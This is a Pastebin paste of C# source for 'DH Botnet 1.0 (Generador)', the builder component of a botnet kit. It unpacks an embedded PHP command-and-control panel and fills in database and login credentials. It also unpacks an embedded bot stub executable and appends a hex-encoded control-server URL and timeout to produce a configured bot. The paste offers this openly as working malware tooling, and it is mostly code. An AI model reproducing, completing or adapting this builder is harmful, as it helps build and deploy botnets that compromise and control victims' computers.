Advertisement
Doddy

DH Botnet 1.0 (Generador)

Sep 27th, 2014
549
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 6.14 KB | None | 0 0
  1. // DH Botnet 1.0
  2. // (C) Doddy Hackman 2014
  3.  
  4. using System;
  5. using System.Collections.Generic;
  6. using System.ComponentModel;
  7. using System.Data;
  8. using System.Drawing;
  9. using System.Text;
  10. using System.Windows.Forms;
  11. using System.IO;
  12. using System.Reflection;
  13.  
  14. namespace DH_Botnet
  15. {
  16.     public partial class Form1 : Form
  17.     {
  18.         public Form1()
  19.         {
  20.             InitializeComponent();
  21.         }
  22.  
  23.         // Functions
  24.  
  25.         public string hexencode(string texto)
  26.         {
  27.             string resultado = "";
  28.  
  29.             byte[] enc = Encoding.Default.GetBytes(texto);
  30.             resultado = BitConverter.ToString(enc);
  31.             resultado = resultado.Replace("-", "");
  32.             return "0x" + resultado;
  33.         }
  34.  
  35.         public string hexdecode(string texto)
  36.         {
  37.  
  38.             // Based on : http://snipplr.com/view/36461/string-to-hex----hex-to-string-convert/
  39.             // Thanks to emregulcan
  40.  
  41.             string valor = texto.Replace("0x", "");
  42.             string retorno = "";
  43.  
  44.             while (valor.Length > 0)
  45.             {
  46.                 retorno = retorno + System.Convert.ToChar(System.Convert.ToUInt32(valor.Substring(0, 2), 16));
  47.                 valor = valor.Substring(2, valor.Length - 2);
  48.             }
  49.  
  50.             return retorno.ToString();
  51.  
  52.         }
  53.  
  54.         // http://intellekt.ws/blogs/chris/c-embed-extract-run-resource/
  55.  
  56.         private void mephobiaButton1_Click(object sender, EventArgs e)
  57.         {
  58.             Application.Exit();
  59.         }
  60.  
  61.         public void extraer_recurso(string name, string save)
  62.         {
  63.  
  64.             // Based on : http://www.c-sharpcorner.com/uploadfile/40e97e/saving-an-embedded-file-in-C-Sharp/
  65.             // Thanks to Jean Paul
  66.  
  67.             try
  68.             {
  69.                 Stream bajando_recurso = Assembly.GetExecutingAssembly().GetManifestResourceStream(name);
  70.                 FileStream yacasi = new FileStream(save, FileMode.CreateNew);
  71.                 for (int count = 0; count < bajando_recurso.Length; count++)
  72.                 {
  73.                     byte down = Convert.ToByte(bajando_recurso.ReadByte());
  74.                     yacasi.WriteByte(down);
  75.                 }
  76.                 yacasi.Close();
  77.             }
  78.             catch
  79.             {
  80.                 MessageBox.Show("Error unpacking resource");
  81.             }
  82.  
  83.         }
  84.  
  85.         private void mephobiaButton2_Click(object sender, EventArgs e)
  86.         {
  87.  
  88.             string pagina_stub = pagina.Text;
  89.             string timeout_stub = timeout.Text;
  90.  
  91.             string mysql_host_gen = mysql_host.Text;
  92.             string mysql_user_gen = mysql_user.Text;
  93.             string mysql_password_gen = mysql_password.Text;
  94.             string mysql_data_gen = mysql_database.Text;
  95.             string panel_username_gen = panel_username.Text;
  96.             string panel_password_gen = panel_password.Text;
  97.             string panel_timeout_gen = panel_timeout.Text;
  98.  
  99.             string check_index_botnet_borrador = AppDomain.CurrentDomain.BaseDirectory + "borrador.php";
  100.             string check_index_botnet_final = AppDomain.CurrentDomain.BaseDirectory + "index_botnet.php";
  101.  
  102.             string linea_generada = "";
  103.  
  104.             DH_Tools tools = new DH_Tools();
  105.  
  106.             if (File.Exists(check_index_botnet_borrador))
  107.             {
  108.                 System.IO.File.Delete(check_index_botnet_borrador);
  109.             }
  110.  
  111.             if (File.Exists(check_index_botnet_final))
  112.             {
  113.                 System.IO.File.Delete(check_index_botnet_final);
  114.             }
  115.  
  116.             extraer_recurso("DH_Botnet.Resources.index.php", "borrador.php");
  117.  
  118.             string codigo_botnet = tools.openword("borrador.php");
  119.  
  120.             codigo_botnet = codigo_botnet.Replace("ACA_VA_TU_USER", panel_username_gen);
  121.             codigo_botnet = codigo_botnet.Replace("ACA_VA_TU_PASSWORD_EN_MD5", tools.convertir_md5(panel_password_gen));
  122.             codigo_botnet = codigo_botnet.Replace("ACA_VA_EL_HOST", mysql_host_gen);
  123.             codigo_botnet = codigo_botnet.Replace("ACA_VA_EL_USER", mysql_user_gen);
  124.             codigo_botnet = codigo_botnet.Replace("ACA_VA_EL_PASS", mysql_password_gen);
  125.             codigo_botnet = codigo_botnet.Replace("ACA_VA_EL_NOMBRE", mysql_data_gen);
  126.             codigo_botnet = codigo_botnet.Replace("ACA_VA_EL_TIEMPO_DE_CARGA", panel_timeout_gen);
  127.  
  128.             tools.savefile("index_botnet.php",codigo_botnet);
  129.  
  130.             if (File.Exists(check_index_botnet_borrador))
  131.             {
  132.                 System.IO.File.Delete(check_index_botnet_borrador);
  133.             }
  134.  
  135.             extraer_recurso("DH_Botnet.Resources.stub.exe", "stub.exe");
  136.  
  137.             string check_stub = AppDomain.CurrentDomain.BaseDirectory + "/stub.exe";
  138.             string work_on_stub = AppDomain.CurrentDomain.BaseDirectory + "/done.exe";
  139.  
  140.             if (File.Exists(check_stub))
  141.             {
  142.  
  143.                 if (File.Exists(work_on_stub))
  144.                 {
  145.                     System.IO.File.Delete(work_on_stub);
  146.                 }
  147.  
  148.                 System.IO.File.Copy(check_stub, work_on_stub);
  149.  
  150.                 linea_generada = "-pagina-"+pagina_stub+"-pagina-"+"-timeout-"+timeout_stub+"-timeout-";
  151.  
  152.                 string generado = hexencode(linea_generada);
  153.                 string linea_final = "-63686175-" + generado + "-63686175-";
  154.  
  155.                 FileStream abriendo = new FileStream(work_on_stub, FileMode.Append);
  156.                 BinaryWriter seteando = new BinaryWriter(abriendo);
  157.                 seteando.Write(linea_final);
  158.                 seteando.Flush();
  159.                 seteando.Close();
  160.                 abriendo.Close();
  161.  
  162.                 //MessageBox.Show(generado);
  163.                 //MessageBox.Show(hexdecode(generado));
  164.  
  165.                 try
  166.                 {
  167.                     System.IO.File.Delete(check_stub);
  168.                 }
  169.                 catch
  170.                 {
  171.                     //
  172.                 }
  173.  
  174.                 MessageBox.Show("Server Generated");
  175.  
  176.             }
  177.             else
  178.             {
  179.                 MessageBox.Show("Stub not found");
  180.             }
  181.            
  182.             //
  183.  
  184.         }
  185.     }
  186. }
  187.  
  188. // The End ?
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement